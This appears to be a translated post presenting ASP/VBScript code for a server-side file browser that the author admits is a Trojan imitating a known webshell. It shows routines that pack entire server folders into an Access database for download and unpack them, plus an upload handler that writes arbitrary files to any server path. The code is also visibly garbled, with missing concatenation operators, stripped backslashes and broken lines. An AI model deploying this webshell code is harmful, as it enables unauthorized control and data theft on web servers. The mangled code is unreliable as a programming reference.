This is an FSO file browser written using FSO collection objects (if you insist on saying it is a Trojan, I have no objection). Functionally, it imitates the design of the "Top Trojan of the Ocean", but the code is completely rewritten. Using components such as Shell.Application that can easily cause accidental killing by anti-virus software. There are many similar tools on the Internet. The use value of this tool is not very great, but many of the codes in it are considered to be well written.
Key features include: View disk information, browse disk files, and operate in a manner similar to Windows Explorer, such as creating, deleting, renaming, copying, moving, and other basic file operations. Text file editing.
Stream mode file download simplifies and optimizes component-free upload file packaging/unpacking. A folder can be completely packaged/unpacked.
Code snippet:
1. File packaging/unpacking part
Sub Pack( ByVal FPath, ByVal sDbPath) Server.ScriptTimeOut=900 Dim DbPath If Right(sDbPath,4)= ".mdb" Then DbPath=sDbPath Else DbPath=sDbPath ".mdb" End If If oFso.FolderExists(DbPath) Then EchoBack "Cannot create database file!" &Replace(DbPath, ""," \") Exit Sub End If If oFso.FileExists(DbPath) Then oFso.DeleteFile DbPath End If If IsFolder(FPath) Then RootPath=GetParentFolder(FPath) If Right(RootPath,1)<> "" Then RootPath=RootPath&" " Else EchoBack "Please enter the folder path!" Exit Sub End If Dim oCatalog,connStr,DataName Set conn=Server.CreateObject( "ADODB.Connection" ) Set oStream=Server.CreateObject( "ADODB.Stream" ) Set oCatalog=Server.CreateObject( "ADOX.Catalog" ) Set rs=Server.CreateObject( "ADODB.RecordSet" ) On Error Resume Next connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath oCatalog.Create connStr If Err Then EchoBack "Cannot create database file!" &Replace(DbPath, ""," \") Exit Sub End If Set oCatalog= Nothing conn.Open connStr conn.Execute( "Create Table Files(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)" ) oStream.Open oStream.Type=1 rs.Open "Files" ,conn,3,3 DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name, "." )-1) NoPackFiles=Replace(NoPackFiles, "<$datafile>" ,DataName) FailFileList= "" PackFolderFPath If FailFilelist= "" Then EchoClose "Folder packaging successful!" Else Response.Write " Response.Write "" Response.Write "" &Replace(FailFilelist, "|" , " ) "" End If oStream.Close rs.Close conn.Close End Sub Sub PackFolder(FolderPath) If Not IsFolder(FolderPath) Then Exit Sub Dim oFolder,sFile,sFolder Set oFolder=oFso.GetFolder(FolderPath) For Each sFile In oFolder.Files If InStr(NoPackFiles, "|" &sFile.Name "|" )<1 Then PackFile sFile.Path End If Next Set sFile = Nothing For Each sFolder In oFolder.SubFolders PackFolder sFolder.Path Next Set sFolder= Nothing End Sub Sub PackFile(FilePath) Dim RelPath RelPath=Replace(FilePath,RootPath, "" ) On Error Resume Next Err.Clear Err= False oStream.LoadFromFile FilePath rs.AddNew rs( "FilePath" )=RelPath rs( "FileData" )=oStream.Read() rs.Update If Err Then FailFilelist=FailFilelist&FilePath "|" End If End Sub Sub UnPack(vFolderPath,DbPath) Server.ScriptTimeOut=900 Dim FilePath,FolderPath,sFolderPath FolderPath=vFolderPath FolderPath=Trim(FolderPath) If Mid(FolderPath,2,1)<> ":" Then EchoBack "The path format is incorrect and the directory cannot be created!" Exit Sub End If If Right(FolderPath,1)= "" Then FolderPath=Left(FolderPath,Len(FolderPath)-1) Dim connStr Set conn=Server.CreateObject( "ADODB.Connection" ) Set oStream=Server.CreateObject( "ADODB.Stream" ) Set rs=Server.CreateObject( "ADODB.RecordSet" ) connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath On Error Resume Next Err= False conn.Open connStr If Err Then EchoBack "Database opening error!" Exit Sub End If Err= False oStream.Open oStream.Type=1 rs.Open "Files" ,conn,1,1 FailFilelist= "" Do Until rs.EOF Err.Clear Err= False FilePath=FolderPath ""&rs(" FilePath") FilePath=Replace(FilePath, "\"," ") sFolderPath=Left(FilePath,InStrRev(FilePath, "" )) If Not oFso.FolderExists(sFolderPath) Then CreateFolder(sFolderPath) End If oStream.SetEos() oStream.Write rs( "FileData" ) oStream.SaveToFile FilePath,2 If Err Then FailFilelist=FailFilelist&rs( "FilePath" ).Value "|" End If rs.MoveNext Loop rs.Close Set rs = Nothing conn.Close Set conn= Nothing Set oStream = Nothing If FailFilelist= "" Then EchoClose "File unpacking successful!" Else Response.Write " Response.Write "" Response.Write "" &Replace(FailFilelist, "|" , " ) "" End If End Sub
2. File upload part (single file):
Saveupload ( ByVal FolderName) If Not IsFolder(FolderName) Then EchoClose "No upload folder specified!" Exit Sub End If Dim Path,IsOverWrite Path=FolderName If Right(Path,1)<> "" Then Path=Path&" " FileName=Replace(Request( "filename" ), ""," ") If Len(FileName)<1 Then EchoBack "Please select the file and enter the file name!" Exit Sub End If Path=Path If LCase(Request( "overwrite" ))= "true" Then IsOverWrite= True Else IsOverWrite= False End If On Error Resume Next Call MyUpload(Path,IsOverWrite) If Err Then EchoBack "File upload failed! (The file may already exist)" Else EchoClose "File uploaded successfully!n" & Replace(fileName, "", " \") End If End Sub Sub MyUpload(FilePath,IsOverWrite) Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf RequestSize=Request.TotalBytes If RequestSize<1 Then Exit Sub Set oStream=Server.CreateObject( "ADODB.Stream" ) Set tStream=Server.CreateObject( "ADODB.Stream" ) With oStream .Type=1 .Mode=3 .Open .Write=Request.BinaryRead(RequestSize) .Position=0 sData=.Read bCrLf=ChrB(13)&ChrB(10) iSpaceEnd=InStrB(sData,bCrLf)-1 sSpace =LeftB(sData,iSpaceEnd) iInfoStart=iSpaceEnd+3 iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1 iFileStart=iInfoEnd+5 iFileEnd=InStrB(iFileStart,sData,sSpace)-3 sData= "" iFileSize=iFileEnd-iFileStart+1 tStream.Type=1 tStream.Mode=3 tStream.Open .Position=iFileStart-1 .CopyTo tStream,iFileSize If IsOverWrite Then tStream.SaveToFile FilePath,2 Else tStream.SaveToFile FilePath End If tStream.Close .Close End With SettStream = Nothing Set oStream= Nothing End Sub
